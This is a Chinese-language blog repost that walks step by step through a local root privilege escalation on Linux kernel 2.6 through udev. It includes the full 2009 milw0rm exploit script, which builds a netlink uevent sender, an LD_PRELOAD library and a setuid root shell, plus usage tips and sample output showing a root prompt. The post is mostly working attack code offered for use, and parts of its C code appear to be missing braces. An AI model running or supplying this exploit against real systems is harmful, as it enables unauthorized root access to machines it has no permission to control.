Linux Kernel 2.6 UDEV本地提权

1)创建用户:假设系统上已经建立了一个名为"ttalang",密码为"ttalang"的普通用户,并用该账户登录;(注意:ttalang的用户目录为/home/ttalang) 

[ttalang@vmhost ~]$ pwd 

/home/ttalang 

2)复制代码:如下:完整复制该页面的代码,在本地ttalang目录下保存为名为"a"的文件;(注意:此时a的状态为/home/ttalang/a,a保存着 提权用的代码。名字叫什么是随意的,可以是b,c...) 

[ttalang@vmhost ~]$ ls 

3)修改代码:修改a中的内容,将/tmp全部替换为/home/ttalang(原因是/tmp目录对普通用户很多时候是没有写权限的);将倒数第4行"cp libno_ex.so.1.0  /home/ttalang bno_ex.so.1.0"注释掉(原因是这一行是多余的)。 

4)查找udev的PID:查找/sbin/udevd的PID,即执行:"ps aux |grep /sbin/udev"

[ttalang@vmhost ~]$ ps aux |grep /sbin/udev 

root       392  0.1  0.3   2916  1400 ?        S<s  15:33   0:00 /sbin/udevd -d 

ttalang   3266  0.0  0.1   4604   700 pts/1    R+   15:38   0:00 grep /sbin/udev 

5)提权:执行命令chmod u+x a && sh a 391  (注意:这里的391是udev的PID减去1得来的): 

[ttalang@vmhost ~]$ sh a 391 

suid.c: 在函数 ‘main’ 中: 

suid.c:3: 警告:隐式声明与内建函数 ‘execl’ 不兼容 

sh-3.1# 

提权代码:

***************************************************************************************** 
#!/bin/sh 
# Linux 2.6 
# bug found by Sebastian Krahmer 

# lame sploit using LD technique   
# by kcope in 2009 
# tested on debian-etch,ubuntu,gentoo 
# do a 'cat /proc/net/netlink' 
# and set the first arg to this 
# script to the pid of the netlink socket 
# (the pid is udevd_pid - 1 most of the time) 
# + sploit has to be UNIX formatted text :) 
# + if it doesn't work the 1st time try more often 

# WARNING: maybe needs some FIXUP to work flawlessly 
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang 

cat > udev.c << _EOF 
#include <fcntl.h> 
#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <dirent.h> 
#include <sys/stat.h> 
#include <sysexits.h> 
#include <wait.h> 
#include <signal.h> 
#include <sys/socket.h> 
#include <linux/types.h> 
#include <linux/netlink.h> 

#ifndef NETLINK_KOBJECT_UEVENT 
#define NETLINK_KOBJECT_UEVENT 15 
#endif 

#define SHORT_STRING 64 
#define MEDIUM_STRING 128 
#define BIG_STRING 256 
#define LONG_STRING 1024 
#define EXTRALONG_STRING 4096 
#define TRUE 1 
#define FALSE 0 

int socket_fd; 
struct sockaddr_nl address; 
struct msghdr msg; 
struct iovec iovector; 
int sz = 64*1024; 

main(int argc, char **argv) { 
        char sysfspath[SHORT_STRING]; 
        char subsystem[SHORT_STRING]; 
        char event[SHORT_STRING]; 
        char major[SHORT_STRING]; 
        char minor[SHORT_STRING]; 

        sprintf(event, "add"); 
        sprintf(subsystem, "block"); 
        sprintf(sysfspath, "/dev/foo"); 
        sprintf(major, "8"); 
        sprintf(minor, "1"); 

        memset(&address, 0, sizeof(address)); 
        address.nl_family = AF_NETLINK; 
        address.nl_pid = atoi(argv[1]); 
        address.nl_groups = 0; 

        msg.msg_name = (void*)&address; 
        msg.msg_namelen = sizeof(address); 
        msg.msg_iov = &iovector; 
        msg.msg_iovlen = 1; 

        socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); 
        bind(socket_fd, (struct sockaddr *) &address, sizeof(address)); 

        char message[LONG_STRING]; 
        char *mp; 

        mp = message; 
        mp += sprintf(mp, "%s@%s", event, sysfspath) +1; 
        mp += sprintf(mp, "ACTION=%s", event) +1; 
        mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1; 
        mp += sprintf(mp, "MAJOR=%s", major) +1; 
        mp += sprintf(mp, "MINOR=%s", minor) +1; 
        mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1; 
        mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1; 

        iovector.iov_base = (void*)message; 
        iovector.iov_len = (int)(mp-message); 

        char *buf; 
        int buflen; 
        buf = (char *) &msg; 
        buflen = (int)(mp-message); 

        sendmsg(socket_fd, &msg, 0); 

        close(socket_fd); 

         sleep(10); 
         execl("/tmp/suid", "suid", (void*)0); 


_EOF 
gcc udev.c -o /tmp/udev 
cat > program.c << _EOF 
#include <unistd.h> 
#include <stdio.h> 
#include <sys/types.h> 
#include <stdlib.h> 

void _init() 

setgid(0); 
setuid(0); 
unsetenv("LD_PRELOAD"); 
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL); 

_EOF 
gcc -o program.o -c program.c -fPIC 
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles 
cat > suid.c << _EOF 
int main(void) { 
       setgid(0); setuid(0); 
       execl("/bin/sh","sh",0); } 
_EOF 
gcc -o /tmp/suid suid.c 
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 
/tmp/udev $1 

# milw0rm.com [2009-04-20] 
*******************************************************************************



猜你喜欢

转载自permiss.iteye.com/blog/876216